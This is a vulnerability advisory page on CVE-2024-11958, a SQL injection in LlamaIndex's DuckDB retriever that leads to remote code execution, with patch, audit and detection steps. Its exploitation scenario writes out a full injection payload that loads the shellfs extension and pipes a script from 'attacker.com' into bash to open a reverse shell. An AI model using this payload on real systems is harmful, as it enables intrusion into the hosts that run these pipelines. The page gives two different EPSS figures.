CVE-2024-11958: llama-index DuckDB retriever: SQLi enables RCE
GHSA-339r-cjv9-x78g CRITICAL PoC AVAILABLE CISA: ATTENDIf your RAG pipelines use LlamaIndex with the duckdb_retriever, you have a CVSS 9.8 RCE on your hands — patch to v0.4.0 immediately, no workarounds are acceptable. The attack chain is straightforward: SQL injection through unparameterized queries → DuckDB shellfs extension → arbitrary OS command execution. Treat any LlamaIndex deployment using this retriever as fully compromised until patched.
Risk Assessment
Critical severity with a well-defined RCE path that requires zero authentication or user interaction. EPSS of 1.2% is currently low, but the attack technique is trivially reproducible given the public PoC on huntr.com. Exposure is highest in organizations running LlamaIndex RAG pipelines that accept user-controlled query inputs — a common pattern in enterprise AI assistants and document Q&A systems. Network-accessible without privileges, this will be weaponized quickly once exploitation tooling circulates.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| llama-index-retrievers-duckdb-retriever | pip | < 0.4.0 | 0.4.0 |
Do you use llama-index-retrievers-duckdb-retriever? You're affected.
Severity & Risk
Attack Surface
Recommended Action
5 steps-
IMMEDIATE
Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade).
-
AUDIT
Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package.
-
DETECT
Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings.
-
ISOLATE
If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level.
-
ROTATE
Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2024-11958?
If your RAG pipelines use LlamaIndex with the duckdb_retriever, you have a CVSS 9.8 RCE on your hands — patch to v0.4.0 immediately, no workarounds are acceptable. The attack chain is straightforward: SQL injection through unparameterized queries → DuckDB shellfs extension → arbitrary OS command execution. Treat any LlamaIndex deployment using this retriever as fully compromised until patched.
Is CVE-2024-11958 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2024-11958, increasing the risk of exploitation.
How to fix CVE-2024-11958?
1. IMMEDIATE: Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade). 2. AUDIT: Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package. 3. DETECT: Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings. 4. ISOLATE: If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level. 5. ROTATE: Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.
What systems are affected by CVE-2024-11958?
This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, agent frameworks, local AI databases, document Q&A systems.
What is the CVSS score for CVE-2024-11958?
CVE-2024-11958 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 4.13%.
Technical Details
NVD Description
A SQL injection vulnerability exists in the `duckdb_retriever` component of the run-llama/llama_index repository, specifically in llama-index-retrievers-duckdb-retriever prior to v0.4.0. The vulnerability arises from the construction of SQL queries without using prepared statements, allowing an attacker to inject arbitrary SQL code. This can lead to remote code execution (RCE) by installing the shellfs extension and executing malicious commands.
Exploitation Scenario
An adversary interacts with an enterprise RAG chatbot powered by LlamaIndex. The chatbot accepts natural language queries that internally construct DuckDB SQL queries without parameterization. The attacker crafts a payload such as `'; INSTALL shellfs; LOAD shellfs; SELECT shell('curl attacker.com/shell.sh | bash'); --` embedded in their query. The duckdb_retriever concatenates this directly into a SQL string, DuckDB installs and loads the shellfs extension, and executes the arbitrary shell command — establishing a reverse shell on the AI infrastructure host with access to model artifacts, vector databases, and downstream secrets.
Weaknesses (CWE)
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2024-12909 10.0 llama-index finchat: SQL injection enables RCE
Same package: llama-index CVE-2025-1793 9.8 llama_index: SQL injection in vector store integrations
Same package: llama-index CVE-2025-1753 7.8 llama-index-cli: OS command injection enables RCE
Same package: llama-index CVE-2025-3225 7.5 llama-index Papers Loader: XML expansion DoS
Same package: llama-index CVE-2025-3046 7.5 LlamaIndex Obsidian: symlink traversal exposes host files
Same package: llama-index
AI Threat Alert